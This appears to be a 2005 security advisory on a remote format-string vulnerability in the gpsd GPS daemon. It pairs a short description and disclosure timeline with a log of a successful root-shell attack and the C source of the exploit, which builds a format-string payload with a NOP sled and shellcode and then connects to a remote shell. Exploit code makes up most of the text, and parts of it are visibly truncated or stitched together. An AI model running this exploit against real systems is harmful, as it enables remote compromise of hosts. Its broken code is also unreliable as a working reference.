gpsd is "a service daemon that monitors a GPS attached to a host computer through a serial or USB port, making its data on the location/course/velocity of the sensor available to be queried on TCP port 2947 of the host computer".
A format string vulnerability in gpsd allows remote attackers to cause the program to execute arbitrary code.
Vulnerable Systems:
* gpsd version 1.9.0 through version 2.7
The format string issue is in the gpsd_report() funciton. syslog() is used without a format specifier multiple times in gpsd.c. ./gpsd.c: syslog(LOG_ERR, buf);
./gpsd.c: syslog(LOG_NOTICE, buf);
From here you are dealing with a classic format string exploit.
Successful exploitation on a RedHat box gets you root, and on Debian you get uid=gpsd gid=dialout.
jdam:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12
# remote host 192.168.1.203.
Checking Remote version
GPSD VERSION: 2.6
# send exploit data.
[*] data sent 3389 bytes .
[*] data sent 2 bytes .
[+] Trying to exec shellcode on remote
[*] data sent 2 bytes .
[-] Waiting 5 seconds to connect to remote shell
[+] yes!
[*] Executed shell successfully !
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 athlon i386 GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[root@localhost /]# exit
To fix this vulnerability in ./gpsd.c you need to modify a few syslog calls. This may break existing gpsd_report() functionality. When the author(s) gets around to checking email and or reading the bug entries a new version will come out. This work around is strictly to prevent exploitation.
Timeline associated with this bug:
01/19/2005 attempts to notify all of the individuals working on the project via email were made. no response.
01/20/2005 BerliOS Developer bug ID #003087 Security Vulnerability ala syslog() was filed. no response.
Exploit:
/**
** Copyright Johnh and KF 2005
**
** Gpsd remote format string exploit
** By: Johnh[at]digitalmunition[dot]com
** Bug Found By: kf[at]digitalmunition[dot]com
** http://www.digitalmunition.com/DMA[2005-0125a].txt
**
** Features: Version ident
**
** Debian machines provide uid=gpsd
** Redhat machines provide uid=root
**
** Lots of JUMP_SLOT's provided but
** You can get or brute the shellcode
** addresses yourself.
**/
void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);
struct
{
unsigned long retloc; /* retloc of syslog */
unsigned long retaddr;
char *szDescription;
}targets[] =
{
// Brute the rest of the addresses your self...
// syslog() , shellcode , version
{0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested on Redhat 9.0
{0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
{0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
{0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
{0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
{0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
{0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
{0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
{0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
{0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
{0x0804c7b8,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
{0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
{0x0804c730,0xbffff100, "gpsd-2.6-1.i386.rpm"},
{0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
{0x0804c7c4,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on Debian GNU/Linux 3.1
{0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
{0x0804c770,0xbfffee70, "gpsd_2.7-2_i386.deb"},
{0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled binary on local box for debug
{0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"
{0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7 "},
{0x41424344,0xdeadbeef, "Debug "},
//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
int sock,
flag,
pe = 0;
size_t pe_len;
struct timeval tv;
struct sockaddr_in addr;
struct hostent* hp = NULL;
fd_set rset;
// reslov hosts
hp = gethostbyname (host);
if (NULL == hp) {
perror ("tcpConnect:gethostbyname\n");
return -1;
}
own_gpsd (sock,iType);
close(sock);
sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
printf("[+] Trying to exec shellcode on remote\n");
exec_shellcode(sock);
printf("[-] Waiting 5 seconds to connect to remote shell\n");
sleep (5);
if ((ret = new_tcpConnect (hostName, 5570, 9000)) < 0) {
fprintf (stderr, "[-] failed :< \n");
goto out;
}
printf ("[+] yes! \n");
sh (ret);
out:
close (ret);
return 0;
}
int own_gpsd(int sock,int iType)
{
int offset = 0x11;
int dump_fmt=7;
int al = 3;
int hi,lo;
int x;
int ret;
unsigned long shift0,shift1;
char buf[90000];
char fun[256];
char *ptr;
/* check zero byte */
if (checkZero (targets[iType].retloc) || checkZero (targets[iType].retloc+2) ) {
printf ("retloc has a null; <\n");
exit (1);
}
hi = (targets[iType].retaddr >> 0) & 0xffff;
lo = (targets[iType].retaddr >> 16) & 0xffff;
strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift1);
strcat(ptr,"lx%hn");
x = strlen(ptr);
memset(ptr+x,0x90,3000);
x+=3000;
memcpy(ptr+x,shellcode,337);
x+=337;
printf ("# send exploit data. \n");
sleep(1);
ret = send (sock, buf, x, 0);
printf ("[*] data sent %d bytes .\n", x);
memcpy(fun,"l\n",2);
ret = send (sock, fun, 2, 0);
printf ("[*] data sent %d bytes .\n", ret);
return 0;
}
//Had to connect to remote and send a string to make shellcode execute. No idea why. but it works so :)
int exec_shellcode(int sock) {
int ret;
char fun[256];
memcpy(fun,"l\n",2);
ret = send (sock, fun, 2, 0);
printf ("[*] data sent %d bytes .\n", ret);
return 0;
}
//Check remote version of gpsd. You may ask why because all verions are vuln but who knows :)
//When the vendor changes the code you can change this to detect a vuln/non vuln version
int check_version(int sock) {
char *version;
char buf_ver[256];
char recv_buf[256];
int ret;
memcpy(buf_ver,"l\n",2);
ret = send (sock, buf_ver, 2, 0);
ret = recv(sock,recv_buf,sizeof(recv_buf),0);
version = strtok(recv_buf," ");
version = strtok(NULL," ");
printf("GPSD VERSION: %s\n",version);